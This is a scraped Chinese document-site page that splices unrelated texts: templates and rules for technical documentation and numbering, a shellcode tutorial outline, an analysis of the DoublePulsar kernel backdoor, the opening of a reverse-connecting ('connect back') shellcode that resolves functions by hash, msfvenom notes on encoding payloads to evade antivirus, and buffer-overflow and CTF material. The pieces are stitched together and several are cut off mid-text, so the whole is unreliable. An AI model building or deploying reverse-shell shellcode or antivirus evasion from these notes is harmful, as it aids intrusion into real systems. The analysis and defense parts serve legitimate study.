1. 引言 (3) 1.1目的 (3) 1.2背景 (3) 1.3术语 (3) 1.4人员 (3) 1.5参考资料 (3) 2. 系统概述 (3) 2.1适用范围及系统特性简要说明 (3) 2.2子系统及其模块的划分 (3) 2.3系统运行环境 (3) 3. 文件一览 (4) 3.1系统运行文件一览 (4) 3.2源程序文件一览 (4) 3.3函数、类、事件一览(可选) (4) 4. 数据库结构 (4) 5. 可重用子系统或模块 (4) 6. 总结与展望 (4)

技术文件的编制规定

技术文件的编制规定 1.目的 为确保公司技术文件编制规范化,以利于生产经营管理,提高工作效率和经济效益,特制定本规定。 2.范围 本规定适用于本公司所有技术文件的编制规定 3.职责 工程技术部是本程序的归口管理部门, 产品项目组是具体的执行者, 项目经理统筹安排并监督检查。 4.技术文件的编制规定 4.1产品设计任务书--它是公司产品项目组,根据市场需要或上级指令,以书面形式给技术部门的产品(课题)设计、研制的任务。此任务书根据产品具体情况及研发设计、生产试制的不同而有所区别,一般应包括: 4.1.1产品(或课题项目)名称、要求的结构形式。 4.1.2任务研制的目的、用途及要求(包括环境条件)。 4.1.3任务来源与下达任务的单位、协作单位(若自行开发,无下达单位,则不考虑此项)。 4.1.4主要技术指标与性能(突出可靠性、实用性、技术性、经济性)。 4.1.5对试制过程中需要采用突破的新技术、新工艺、新材料、

新设备等方面的要求和问题。 4.1.6对产品标准化程度的综合要求、对公司现有生产条件的继承性要求。 4.1.7试制的数量与要求完成的日期。 4.1.8试制费用的初步预算,以及要达到的具体经济指标等(如试制样机的单台成本、正常生产所需控制的成本)。 4.2产品总体设计方案--它是根据产品设计任务书的要求而提出的进行产品设计的具体方案。它是紧紧围绕组成产品的结构、性能参数等方面的技术问题,而进行工作的具体实施意见。因此,它对结构设计、电路设计、工艺设计等方面都应有比较明确的要求,一般应包括以下内容: 4.2.1产品的名称,具体任务的来源和依据(可引证设计任务书)。 4.2.2主要参数性能,工作特性和经济指标(目标成本、销售价格等)及其它使用要求。 4.2.3绘制出产品外形结构草图和2D/3D图。 4.2.4与国内外同类产品进行分析比较(性能、指标、结构、特点、价格等)。 4.2.5技术可行性、经济合理性论证(可用几种方案论述、对比)提出最佳方案的意见。 4.2.6采用新技术、新工艺、突破关键技术、关键工艺的要求与解决途径。 4.2.7对原材料、元器件、协作件有无特殊新的技术要求或需要

技术文件编号编写规范

1目的:为有效管理及控制公司技术文件,以便建立更好的索引,从而能更快捷、准确的检索,特制订本规范。 2适用范围:本公司建立的所有技术文件。 3职责: 3.1技术部:负责技术文件编号的编制。 4名词定义:无 5相关/支持性文件: 5.1ISO/TS16949-2002版条文第4.2.3章节。 5.2《文件控制程序》 5.3《技术文件控制程序》 6内容 6.1图面(产品)编号——按产品的组成特性分有成套产品和汽车散件两种: 6.1.1成套产品编号方式 □□□□□□□□□□□□ ☆产品类别代号,用产品英文名称的缩写表示;例如:

安全带(Safety Belt ):SB 踏 板(Pedal ):PE 门锁(Door Lock ):DL 玻璃升降器(Window Lifter ):WL 手刹(Parking Brake ):PB ☆ 总成顺序号,用0000~9999表示,可将其分成不同的段来区分不同类别; 例如: ☆ 总成左右代号(左:L ;右:R ;不分左右:0); 总成颜色代号(00:无颜色;其它用01~99表示) ☆ 零部件左右代号(左:L ;右:R ;不分左右:0); ☆ 零部件颜色代号(00:无颜色;其它用01~99表示) 注意: 1. 对于标准件,直接使用国家标准所规定的代号即可; 6.1.2 汽车散件(Automotive Parts )编号方式 □□□□□□□□□□

注意: 1.对于标准件,直接使用国家标准所规定的代号即可; 6.2指导性技术文件编号方式: JSB—WI— 如《产品目录》为:JSB—WI—001;《总成检查基准书》为JSB—WI—002 6.3记录表单的编号方式与《文件控制程序》中四阶表单记录的编号方式相同。7附件: 7.1《颜色代号一览表》 颜色代号一览表

Shellcode指南

Shellcode 目录 1: 概述和工具 (1) 1.1 概述 (1) 1.2 Windows与Linux的Shellcode 有什么不同? (2) 1.3 建立环境 (2) 1.4 其他工具 (4) 1.4.1 Metasploit (4) 1.4.2 OllyDbg 1.10 (4) 1.4.3 lcc-win32 (4) 2. 我的第一个shellcode (4) 2.1 说明 (4) 2.2 怎样从windows DLL里发现要使用的函数地址 (5) 2.3 汇编代码 (6) 2.4 编译汇编代码 (7) 2.5 获取shellcode (7) 2.6 测试shellcode (8) 3. 怎么在汇编里使用字符串 (9) 4. 函数Hash表 (10) 4.1 概述 (10) 4.2 目标 (10) 4.3 使用OllyDbg运行分析shellcode (14) 5. 动态Shellcode (18) 5.1 目标 (18) 5.2 建立函数Hash表 (18) 1: 概述和工具 1.1 概述 The assembly tutorials contained within this site are aimed towards creating assembly code in the aim to get you ready to create your own assembly and shellcode - which would hopefully be included with the "Project Shellcode Development Framework".

信息技术部各类文档命名规范

信息技术部各类文档命名规范

文档索引:NIAT-GF-MM-1213-04 宁波东大智能 文档命名规范 宁波柴天佑院士工作室 宁波东大自动化智能技术有限公司

信息技术部2010年12月13日

文档修订 抄送人:项目经理、客户经理、客户代表、项目组成员、SCCB(在项目实际应用时最好写明抄送人的姓名)

目录 一、部门规范 (6) 1.1数据库设计规范文档命名 (6) 1.2代码编写规范文档命名 (6) 1.3界面风格规范文档命名 (6) 1.4文档编写规范命名 (7) 1.4.1需求分析文档命名 (7) 1.4.2编码设计文档命名 (7) 1.4.3数据库设计文档命名 (7) 1.4.4操作需求文档命名 (8) 1.4.5功能设计文档命名 (8) 1.4.6软件详细设计文档命名 (8) 1.4.7软件测试文档命名 (9) 1.5软件视频命名规范 (9) 1.6用户手册文档命名 (10) 二、部门管理规范 (10) 2.1下厂任务单命名 (10) 2.2下厂总结报告命名 (11) 2.3软件功能验收文档命名 (11)

一、部门规范 1.1数据库设计规范文档命名 软件功能开发过程中,要遵循公司的数据库设计规范文档。数据库设计规范规范文档的命名,遵循以下格式:公司简称+规范编号+数据库代号+编写日期+ 举例:NIAT-GF-SJK-121301 1.2代码编写规范文档命名 软件功能开发过程中,要遵循公司的代码编写规范文档。代码编写规范文档的命名,遵循以下格式:公司简称+规范编号+代码代号+编写日期+序列号,中 举例:NIAT-GF-DM-121301 1.3界面风格规范文档命名 软件功能开发过程中,开发的软件要进行界面风格的统一,要遵循公司的界面风格规范文档。界面风格规范文档的命名,遵循以下格式:公司简称+规范编 举例:NIAT-GF-JM-121301

软件开发技术文档编写规范

软件开发技术文档编写规范 在项目开发过程中,应该按要求编写好十三种文档,文档编制要求具有针对性、精确性、清晰性、完整性、灵活性、可追溯性。 ◇可行性分析报告:说明该软件开发项目的实现在技术上、经济上和社会因素上的可行性,评述为了合理地达到开发目标可供选择的各种可能实施方案,说明并论证所选定实施方案的理由。 ◇项目开发计划:为软件项目实施方案制订出具体计划,应该包括各部分工作的负责人员、开发的进度、开发经费的预算、所需的硬件及软件资源等。 ◇软件需求说明书(软件规格说明书):对所开发软件的功能、性能、用户界面及运行环境等作出详细的说明。它是在用户与开发人员双方对软件需求取得共同理解并达成协议的条件下编写的,也是实施开发工作的基础。该说明书应给出数据逻辑和数据采集的各项要求,为生成和维护系统数据文件做好准备。 ◇概要设计说明书:该说明书是概要实际阶段的工作成果,它应说明功能分配、模块划分、程序的总体结构、输入输出以及接口设计、运行设计、数据结构设计和出错处理设计等,为详细设计提供基础。 ◇详细设计说明书:着重描述每一模块是怎样实现的,包括实现算法、逻辑流程等。 ◇用户操作手册:本手册详细描述软件的功能、性能和用户界面,使用户对如何使用该软件得到具体的了解,为操作人员提供该软件各种运行情况的有关知识,特别是操作方法的具体细节。 ◇测试计划:为做好集成测试和验收测试,需为如何组织测试制订实施计划。计划应包括测试的内容、进度、条件、人员、测试用例的选取原则、测试结果允许的偏差范围等。 ◇测试分析报告:测试工作完成以后,应提交测试计划执行情况的说明,对测试结果加以分析,并提出测试的结论意见。 ◇开发进度月报:该月报系软件人员按月向管理部门提交的项目进展情况报告,报告应包括进度计划与实际执行情况的比较、阶段成果、遇到的问题和解决的办法以及下个月的打算等。 ◇项目开发总结报告:软件项目开发完成以后,应与项目实施计划对照,总结实际执行的情况,如进度、成果、资源利用、成本和投入的人力,此外,还需对开发工作做出评价,总结出经验和教训。 ◇软件维护手册:主要包括软件系统说明、程序模块说明、操作环境、支持软件的说明、维护过程的说明,便于软件的维护。 ◇软件问题报告:指出软件问题的登记情况,如日期、发现人、状态、问题所属模块等,为软件修改提供准备文档。 ◇软件修改报告:软件产品投入运行以后,发现了需对其进行修正、更改等问题,应将存在的问题、修改的考虑以及修改的影响作出详细的描述,提交审批。 1可行性分析报告 1 引言 1.1 编写目的:阐明编写可行性研究报告的目的,提出读者对象。

内核级后门“DoublePulsar”分析报告

内核级后门“DoublePulsar”分析报告 在Shadow Brokers组织泄露的NSA方程式工具中,DoublePulsar是一个无文件型的内核后门程序。值得注意的是,DoublePulsar同时使用了终端和网络的高级逃逸技术。首先它是一个无文件型的内核级别后门,被控制端的主机防护软件通常无法有效检测;其次它与被控制端的通讯使用正常协议进行伪装(SMB或者RDP协议),可逃逸常见的网络防护产品。 具体地,某些漏洞工具(EternalBlue、EternalRomance等)攻击成功后会篡改srv.sys 中SrvTransaction2DispatchTable表的第14项指针,从而在srv.sys中安装一个后门。而原始的SrvTransaction2DispatchTable表第14项指针指向的是SrvTransactionNotImplemented函数,在处理SMB协议的SMB_COM_TRANSACTION2消息时,会使用到该函数。这样DoublePulsar就可以与被控制机器通过特定的 SMB_COM_TRANSACTION2消息建立隐蔽信道,并执行相应攻击操作。 技术分析 1.在后门被成功安装前,查看SrvTransaction2DispatchTable表,可以发现该表第14项指向的为SrvTransactionNotImplemented函数。 2.后门安装成功后,SrvTransaction2DispatchTable表中的第14项便被修改。

修改后的函数如下: 3.DoublePulsar主要有以下几个功能: 4.以上功能在代码中都对应不同的处理方法,主要处理流程如下:

利用hash值取得函数地址的connect back shellcode

主页 安全文档 安全工具 安全漏洞 漏洞利用 红盟作品 开放项目 红盟社 区 关于我们 递交作品 作品总数: 38 个 本类作品: 19 个 关键字所有分类搜索快速通道 软件作品 文档作品 代码作品 <= 文档分类 Windows RPC DCOM DoS exploit Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem... Mysql 3.23.x/ 4.0.x remote exploit download url file shellcode for win2k/xp 利用hash 值取得函数地 址的connect back shellcode. 分析理解 elf 文件并且自动编排 shellcode 的程序 推荐作品 提交作品: lion 提交日期: 2003-09-17 作品属性: 推荐 文档类别: 代码作品 浏览次数: 今9次/总6234次 /****************************************************************** 作者: lion, lion@https://www.360docs.net/doc/837824344.html, 日期: 2003-09-17 网站: https://www.360docs.net/doc/837824344.html, 此shellcode 特点: a. 通过peb 取得kernel32.dll 地址 b. 通过函数的hash 值来进行比较,代替GetProcAddress 取得函数地址 c. 反连接功能 d. win2000/xp 测试成功 参考资料: https://www.360docs.net/doc/837824344.html,/documents/winasm-1.0.1.pdf https://www.360docs.net/doc/837824344.html,/sc/win32_reverse.asm ******************************************************************* #include #include //#include //#pragma comment(lib, "ws2_32") void shellcode(); void printsc(unsigned char *sc, int len); DWORD addr; unsigned char hash[0x300] = {0}; unsigned char sc[0x1000]; // 要打印hash 的函数列表 unsigned char buff[]= "LoadLibraryA\x0" 利用hash 值取得函数地址的connect back shellcode.

软件开发技术文档编写规范-Read

神州数码(中国)有限公司 秘级:内部保密文件仅限内部使用 概要设计说明书模板 (V1.2) 文档编号:DC-QG-23-01 文档名称:概要设计说明书编写:沙存孝编写日期:1999.7.16 审核:钱增祺审核日期:1999.7.16 神州数码(中国)有限公司

用户名称 神州数码(中国)有限公司 秘级: 项目名称 概要设计说明书 (版本号) 文档编号:项目名称: 编写:编写日期: 审核:审核日期: 神州数码(中国)有限公司[项目名称]项目组

文档修订记录

目录 第一章引言 (6) 第一节编写目的 (6) 1.1.1作用 (6) 1.1.2预期读者 (6) 第二节编写背景 (7) 1.2.1 系统名称及版本号 (7) 1.2.2 任务提出者 (7) 1.2.3 任务承接者及实施者 (7) 1.2.4 使用者 (7) 1.2.5 与其它系统的关系 (7) 第三节文档结构 (7) 第四节电子文档编写工具 (7) 第五节定义说明与符号规定 (8) 第六节参考资料 (9) 第二章系统概述 (9) 第一节系统目标 (9) 第二节设计原则 (9) 第三节运行环境 (9) 2.3.1 硬件平台 (9) 2.3.2 软件平台 (9) 2.3.3 网络体系结构 (10) 第四节应用软件整体结构概述 (10) 第五节关键技术 (10) 第三章数据库设计 (11) 第一节数据组织 (11) 3.1.1数据分布方式 (11) 3.1.2数据传输与通讯 (11) 3.1.3 历史数据管理 (11) 第二节实体集列表 (11) 第三节概念数据模型图 (12) 第四节数据量估计 (14) 第五节数据分布方案 (14) 第六节实体与基本表的对应关系 (14) 第七节物理数据模型图 (15) 第八节数据库系统介绍 (15) 第四章代码设计 (16) 第一节背景介绍 (16) 第二节编制说明 (16) 第三节代码表列表 (17)

msfvenom教程

Msfvenom 简介 相信很多人升级最新的msf后找不到自己曾经熟悉的msfpayload了(所以说喜欢收集shellcode是一件好事),没错我特么的也找不到了。其实可以use到自己要使用的payload,然后制作。但是也有人喜欢直接在终端里生产自己的shellcode。另外我想也找不到msfencode 了,msfencode是shellcode的编码器,准确的来讲如果你自己编写一个shellcode并不怎么需要一个编码器,杀软杀掉的概率不大,即使是msf生成的shellcode也很大概率不被杀掉(也许我没用啥杀软)所以以前我也觉得编码器并不一定用得到。 我经常理论的思考问题,而不会实际的搞破坏,所以直到后来我才直到编码器的重要,因为msf生成的shellcode经常是无法使用的!!需要编码器进行处理,这个处理包括加壳,过滤坏字符,迭代编译,甚至是控制字符串大小。当然编码器也有其他的功能。 先说说payload和encode的关系,不然我想有些人会感到困惑,msf中payload模块是用来制作shellcode,也即是大家理解的用来搞破坏的机器码,对于没有汇编基础的人,几乎很难写出一个实用的shellcode,以前我也无奈,感觉被拒绝在安全大门之外了,好在有msfpayload,成全了一颗爱捣蛋的心。当然我也在一直学习着呢!我相信非常多的人甚至都不知道shellcode在栈中是怎么工作的,但是却已经可以利用shellcode搞破坏了。我希望不要这样。我不喜欢这种容易获得又有巨大危险性的技术掌握在一个不能自控的人手里。比如前一阵子的Hacking team泄露事件中的flash0day,直接装一个msf产生的shellcode就可以使用了,而根本不需要对漏洞原理或者shellcode原理懂太多。 有点说多了,encode 是编码器,也是为payload设计的,因为杀软会根据shellcode的特征进行杀毒,因此我们需要encode给payload加壳,这里的理论知识和软件免杀原理相同,不过现在杀软有沙箱功能了,在内存阶段从行为判定进行查杀,所以有些shellcode 可能用编码器怎么编码也完蛋了,当然我胡乱吹的,因为我没有尝试过,有那时间我还不如去做饭。 总的来说msfvenom 结合了payload 和encode的功能。经过这两个模块生成的shellcode,要装在的exp中来使用才行,就像弹头安装在导弹上。下面说说具体的使用方式 中文翻译大概是这样(我从网上找的): Options: -p,--payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用�

技术文档编制管理规定

技术文档编制管理规定 1 范围 适用于公司各类技术文件编制与管理。 2 规范性引用文件 下列文件中的条款通过引用而成为本标准的条款。 GJB438B-2009 军用软件开发文档通用要求 QHG-QCX-4231-2016文件控制程序 3定义 本部分所指的产品仅指硬件产品和软件产品,当产品既有硬件又有软件时,硬件和软件的设计文件分别控制。 4 基本要求 5.1 编制要求 技术文件的编制要求主要有: 1)技术文档编制应正确、完整、协调、统一、字体、字号、格式等符合要求。 2)技术文档的层次划分和章、条、段、列项以及图、表、公式的编排方法按照本规定 执行。 3)技术文档中采用的名词、术语、符号和代号、计量单位等应全文一致,并符合国家 或军队现行有效的标准规定;必要时应在技术文档中给出定义或说明。 4)技术文档中正文字体、字号应一致,采用的字号、字体、行距及排列等应满足本规 定。 5.2页面设置 版面干净无底灰,自己清楚无断划,尺寸标准,版心不斜,版心尺寸为156mm*235mm。页面设置要求为: 1)上边距32±1mm,下边距30mm±1mm; 2)左边距28mm±1mm,右边距26mm±1mm; 3)Word文档格式中“段落”缩进和间距设置为0,对其方式选“两端对其”。 5 详细要求 5.1技术文档封面 每份技术文档都应有封面,封面内容包括份号、密级、项目名称、文档名称、文档编号、研制单位名称和编制日期,技术文档封面样式见附录1.

1)“份号:XXXX”(四号黑体),应位于封面版心左上方顶格标识,标识该份技术文 档的顺序号,顺序号应用三位阿拉伯数字表示。 2)“密级:XX”(四号黑体),应位于封面版心右上方顶格标识技术文档密级依据项目 签订密级确定,所有技术文档密级与所签项目密级保持一致。 3)“项目名称”(二号黑体),应位于份号下空三行(四号字,行间距设置为1.5倍行 距)居中位置,当技术文档内容较多时,可分册装订,并标识技术文档分册号,如 “(第一分册)”、“(第二分册)”。 4)“文档名称”(二号黑体)位于项目名称下方空三行(小四号字,行间距设置为1.5 倍行距)居中标识。 5)“文档代号”(二号黑体)位于文档名称下方空一行(小四号字,行间距设置为1.5 倍行距)居中标识。文档代码和配置项代码表示规则一致。 技术文件的代号一般情况由项目标识、文档标识和版本标识组成。其形式为: -- 版本标识 文件标识 项目标识 项目标识格式为:项目名称代码-子类代码(当存在子系统时使用子类代码)。项目名称应以软件任务书定义为准,项目名称代码-子类代码取用项目名称特征词组汉字的首字母组合或特征字符串。注意代码不能重复,且在一个项目中必须统一。代码举例见表.1。 表1 项目标识举例 常用文档标识代码表如下:

程序安全之作业

程序安全之作业 一、获取文件overflow.zip,提取Windows可执行文件 1、利用缓冲区溢出,绕过序列号检查 2、正确的序列号 二、如何有效的防范缓冲区溢出 根据缓冲区溢出攻击的步骤,可将常用的缓冲区溢出攻击检测技术分为以下3种类型:基于输入字符串的检测方法,基于保护堆栈中的返回地址的检测方法和基于监视系统调用的检测方法。 1、基于输入字符串的检测方法 对输入的字符串进行检测,确定其为溢出攻击字符串时采取阻拦措施,使攻击者无法注入攻击代码。一般有以下3种方法构建溢出攻击字符串。分别如下图4-1,图4-2,图4-3所示:

图4-1缓冲区大于ShellCode长度 图4-2缓冲区小于ShellCode长度 图4-3将ShellCode放在环境变量里 第1种溢出攻击字符串适用于缓冲区大于ShellCode长度的情况;第2种溢出攻击字符串一般用于缓冲区小于ShellCode长度的情况;第3种方法是将ShellCode放在环境变量里,是目前较为常用的方法。 在第1种和第2种类型的溢出攻击字符串中ShellCode前都加了若干的NOP指令,因为这2种情况下ShellCode的地址无法确定,但只要返回地址指向ShellCode前的任一条NOP指令,ShellCode就可以执行,大大增加了ShellCode执行的可能性。这些NOP指令称为sledge。其他单字节指令如AAA等也可构成sledge。因此缓冲区溢出攻击检测系统可以通过检查输入的字符串中是否含有大量NOP等可构成sledge的指令来判断此字符串是否是溢出攻击字符串。不过这种方法并不适用于检测第3种类型的攻击。但这3种类型的攻击字符串中都含有ShellCode。因此,确定出ShellCode的基本特征,如不含有“0x00”,含有某些特殊的系统调用等,然后利用人工智能、模式匹配、规则匹配等方法检查输入字符串中是否包含ShellCode也可检测出是否有缓冲区溢出攻击发生。这些检测都可以在入侵检测等外围防御系统中实现,优点是实现较为简单,不会增加被保护系统的开销;缺点是漏报率较高,无法检测出无明显特征的溢出攻击字符串。

软件项目开发的文档编写标准化

软件项目开发的文档编写标准化 在项目开发过程中,应该按要求编写好十三种文档,文档编制要求具有针对性、精确性、清晰性、完整性、灵活性、可追溯性。 ◇可行性分析报告:说明该软件开发项目的实现在技术上、经济上和社会因素上的可行性,评述为了合理地达到开发目标可供选择的各种可能实施方案,说明并论证所选定实施方案的理由。 ◇项目开发计划:为软件项目实施方案制订出具体计划,应该包括各部分工作的负责人员、开发的进度、开发经费的预算、所需的硬件及软件资源等。 ◇软件需求说明书(软件规格说明书):对所开发软件的功能、性能、用户界面及运行环境等作出详细的说明。它是在用户与开发人员双方对软件需求取得共同理解并达成协议的条件下编写的,也是实施开发工作的基础。该说明书应给出数据逻辑和数据采集的各项要求,为生成和维护系统数据文件做好准备。 ◇概要设计说明书:该说明书是概要实际阶段的工作成果,它应说明功能分配、模块划分、程序的总体结构、输入输出以及接口设计、运行设计、数据结构设计和出错处理设计等,为详细设计提供基础。 ◇详细设计说明书:着重描述每一模块是怎样实现的,包括实现算法、逻辑流程等。 ◇用户操作手册:本手册详细描述软件的功能、性能和用户界面,使用户对如何使用该软件得到具体的了解,为操作人员提供该软件各种运行情况的有关知识,特别是操作方法的具体细节。 ◇测试计划:为做好集成测试和验收测试,需为如何组织测试制订实施计划。计划应包括测试的内容、进度、条件、人员、测试用例的选取原则、测试结果允许的偏差范围等。 ◇测试分析报告:测试工作完成以后,应提交测试计划执行情况的说明,对测试结果加以分析,并提出测试的结论意见。 ◇开发进度月报:该月报系软件人员按月向管理部门提交的项目进展情况报告,报告应包括进度计划与实际执行情况的比较、阶段成果、遇到的问题和解决的办法以及下个月的打算等。 ◇项目开发总结报告:软件项目开发完成以后,应与项目实施计划对照,总结实际执行的情况,如进度、成果、资源利用、成本和投入的人力,此外,还需对开发工作做出评价,总结出经验和教训。 ◇软件维护手册:主要包括软件系统说明、程序模块说明、操作环境、支持软件的说明、维护过程的说明,便于软件的维护。 ◇软件问题报告:指出软件问题的登记情况,如日期、发现人、状态、问题所属模块等,为软件修改提供准备文档。 ◇软件修改报告:软件产品投入运行以后,发现了需对其进行修正、更改等问题,应将存在的问题、修改的考虑以及修改的影响作出详细的描述,提交审批。 可行性分析报告 1 引言1.1 编写目的:阐明编写可行性研究报告的目的,提出读者对象。1. 2 项目背景:应包括 ●所建议开发软件的名称

CTF中那些脑洞大开的编码和加密

CTF中那些脑洞大开的编码和加密 0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进行一些处理,但是会给留一些线索,所以写此文的目的是想给小伙伴做题时给一些参考,当然常在CTF里出现的编码也可以了解一下。本来是想尽快写出参考的文章,无奈期间被各种事情耽搁导致文章断断续续写了2个月,文章肯定有许多没有提及到,欢迎小伙伴补充,总之,希望对小伙伴们有帮助吧!最后欢迎小伙伴来[博 客](https://https://www.360docs.net/doc/837824344.html,/)玩耍:P(ps:由于写文章是用markdown,而论坛编辑器不支持markdown语法,虽然我已经尽力去调整对其字符,可是效果还是不尽人意,如果影响阅读理解可以去博客阅读:P) 0x01 目录 常见编码: 1.ASCII编码 2.Base64/32/16编码 3.shellcode编码 4.Quoted-printable编码 5.XXencode编码 6.UUencode编码 7.URL编码 8.Unicode编码 9.Escape/Unescape编码 10.HTML实体编码 11.敲击码(Tap code) 12.莫尔斯电码(Morse Code) 13.编码的故事 各种文本加密 换位加密: 1.栅栏密码(Rail-fence Cipher) 2.曲路密码(Curve Cipher) 3.列移位密码(Columnar Transposition Cipher) 替换加密: 1.埃特巴什码(Atbash Cipher) 2.凯撒密码(Caesar Cipher)

xx股份公司技术方案编写规范

PROCESS INSTRUCTION PI NO. Dept.: 网络终端设备厂规划评测室SHEET 1 OF 3 1目的 本文件是为了综合规划阶段前的所有技术文件,形成详细、具体、可操作的《技术方案》,使网络厂相关文件在内容上满足一定要求且文件格式统一。 2范围 本文件规定了《技术方案》文档的内容编写要求,适用于网络厂所有项目的《技术方案》的编写。 3引用文件 3.140PI-000000060-X 《IPD产品开发流程》 3.269PI-000000041-X 《文件签署规定》 3.369PI-000000051-X 《技术文件的编写规则》 4术语和定义 4.1系统:是指某一行业或领域的完整体系(如:物业管理系统、电业管理系统、税务管理系统等)。 4.2子系统:是指某一行业或领域中某一具体专业体系(如:物业管理系统中的智能小区、三表集抄等)。 4.3部件或产品:是指具有专项领域或通用综合功能,可独立移植、专项配置应用的整体。包含电器硬件、 结构件、标准接口/协议/规范或内部嵌入应用软件、通用API软件等部分。 4.4模块:是指具有专项功能,可独立、灵活配置适用的软件、硬件或软硬件一体的标准技术集合体。 5职责 《技术方案》由研究所相关人员编写。 6资格与培训 无。 7程序 7.1研究所负责在《部门设计及验证阶段工作计划》中要求的时间内编写完《技术方案》。 7.2项目主管审核通过后再分发相关部门,进行完善后为定稿。 7.3交研究所主体设计部门经理审核。

PROCESS INSTRUCTION PI NO. Dept.: 网络终端设备厂规划评测室SHEET 2 OF 3 7.4按《文件签署规定》对文件进行归档。 7.5必要时(如后续设计与文件内容有出入)需更新文件及版本,并重新归档。 8内容编写要求 8.1硬件技术方案 8.1.1系统 8.1.1.1系统结构图及描述(如项目是整个系统,则应详细描述;否则,只需概要描述) 8.1.1.2API接口定义 8.1.1.3API接口协议 8.1.2子系统 8.1.2.1子系统结构图及描述(如项目是子系统,则应详细描述;否则,只需概要描述) 8.1.2.2API接口定义 8.1.2.3API接口协议 8.1.3部件或产品 8.1.3.1部件或产品结构图及描述(如项目是部件或产品,则应详细描述;否则,只需概要描述) 8.1.3.2API接口定义 8.1.3.3API接口协议 8.1.4模块 8.1.4.1模块结构图及详细描述 8.1.4.2模块程序架构 8.1.4.3模块程序流程图 8.1.5接口及通讯协议 (接口定义、具体协议、具体操作指引、数据结构定义、具体校验方案、适用的接口类型等) 8.2软件技术方案 (具体的系统平台、具体的数据库类型、具体的数据库结构、具体的数据结构、具体的人机界面设计方案、具体的API接口软件方案、系统软件的配置方案等) (下列文件可单独编制,也可集成在此文件中) 8.2.1《嵌入式应用软件详细设计说明书》 8.2.2《上位软件详细设计说明书》 8.3结构技术方案

工程技术文件编写规定

深圳市建安(集团)股份有限公司 工程技术文件编写规定 技术管理部 2012-8-9 公司各单位: 为了推广普及企业标准化,规范企业技术文件编制和技术管理工作,根据国家颁布实施的《工程建设标准编写规定》和《深圳市施工组织设计编写规范》,特制定本规定作为企业技术标准自2012年8月20日起实施;本规定解释权在公司技术管理部。 1 适用范围 本规定适用于本公司工程施工组织设计、专项施工方案、施工工艺标准、作业指导书、施工工法等工程技术文件的编写内容与格式控制。公司施工管理制度、公司各类体系文件及公司其他类管理文件编写序号排列可参照本规定执行。 2 技术文件编写内容与格式要求 2.1 施组与专项方案 施工组织设计与施工方案的编写内容,除采用下述常规内容格式外,可结合工程实际情况并参照公司下发的施工组织设计范本目录、公司特种设备体系文件的相关规定(必须有质量计划)、公司一体化体系文件、公司《工程管理规定》和《深圳市施工组织设计编写规范》、《深圳市建设工程中危险性较大工程安全专项施工方案论证及编制指南》及业主方的要求执行。 2.1.1 施工组织设计的常规内容格式 1 编写依据:工程施工图、招投标文件、答疑文件、施工承包合同、现行施工质量验收规范、国家、行业、地方的技术标准、本公司标准管理体系文件、施工现场环境条件、施工组织总设计等。 2 工程概况及特点:主要说明工程名称、地理位置、业主单位、监理及设计单位的基本情况;单位工程各专业设计概况;施工现场概况;主要工程内容;工程项目的特点、难点及业主对工程项目的特殊要求等。

3 施工部署:施工管理目标、资源配备计划、主要分项分部工程的工程量、施工进度计划、划分施工流水段、施工程序、协调与配合、项目管理组织、资源配备计划等。 4 施工准备:现场准备、技术准备、劳动力准备、施工机具及设备准备、材料准备、资金准备等。 5 主要分部、分项工程施工方法和施工工艺:根据《建筑工程施工质量验收统一标准》划分出的分部、分项工程,结合工程具体情况和施工程序,根据各级工艺标准或工法,优化选择相应的施工方法,编制专项施工方案(部分高危专项方案需要专家论证)。 6 季节性施工措施:雨季、台风、夏季、高温、北方冬期等施工措施。 7 工程建筑质量通病防治措施:可从相关手册摘录。 8 新材料、新设备、新工艺、新技术的应用措施:分析确定本工程四新应用内容并制定保证措施。 9 工程质量保证措施:质量保证体系、质量目标及分解、质量管理制度、分包单位质量管理制度、对相关单位的配合措施、主要质量控制点、质量控制措施、成品保护措施、工程过程验收制度、回访保修制度等。 10 工期保证措施:施工进度计划和关键线路的确定、工期保证措施、组织措施、技术措施、经济措施、合同措施、劳动力保证措施、春节及农忙季节劳动力稳定措施、资金保障措施、各工序配合以及与分包单位的施工进度配合措施等。 11 安全生产、文明施工、环境保护保证措施:目标及目标分解、组织措施、安全生产保证措施、文明施工保证措施、环境保护措施等。 12 保卫和消防保证措施:现场消防与治安布设。 13 现场总平面管理:现场总平面布置说明、配电方式与现场用电布置、施工供水管线布置、施工及生活排水布置、施工道路的布置、周边环境的绿化与亮化、总平面管理措施等。 14 对分包单位的管理措施 15 与业主、监理单位的配合 16 节能降耗、成本控制措施 17 管理人员的岗位责任制和特种人员的岗位责任制 18 附录图表:项目管理组织机构、质量管理体系、安全管理体系、文明施工、环境保护管理体系、主要施工机械计划一览表、主要周转材料计划、检验批划分一览表、试块留置计划等。

相关文档
最新文档